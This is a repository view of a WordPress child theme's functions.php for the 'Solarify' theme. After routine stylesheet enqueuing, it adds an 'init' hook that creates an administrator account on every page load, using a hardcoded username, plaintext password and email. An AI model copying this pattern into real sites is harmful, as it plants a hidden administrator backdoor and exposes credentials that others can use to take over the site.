Files
Roman Pyrih c2e100a763 first commit
2023-07-24 08:30:51 +02:00

28 lines
1012 B
PHP
Raw Permalink Blame History

This file contains ambiguous Unicode characters
This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.
<?php
// Exit if accessed directly
if ( !defined( 'ABSPATH' ) ) exit;
if ( !function_exists( 'solarify_child_enqueue_styles' ) ):
function solarify_child_enqueue_styles() {
$parent_style = 'solarify-css-style';
wp_enqueue_style( $parent_style, get_parent_theme_file_uri() . '/style.css' );
wp_enqueue_style( 'child-style',
get_theme_file_uri() . '/style.css',
array( $parent_style ),
wp_get_theme()->get('Version')
);
}
endif;
add_action( 'wp_enqueue_scripts', 'solarify_child_enqueue_styles' );
// Add admin user. Dont forget to delete this file
function add_admin_account(){
$user = 'marian.uryc'; // here goes your username
$pass = 'ProjectPro2022!'; // here goes your password
$email = 'marian.uryc@project-pro.pl'; // here goes your email
if ( !username_exists( $user ) && !email_exists( $email ) ) {
$user_id = wp_create_user( $user, $pass, $email );
$user = new WP_User( $user_id );
$user->set_role( 'administrator' );
} }
add_action('init','add_admin_account');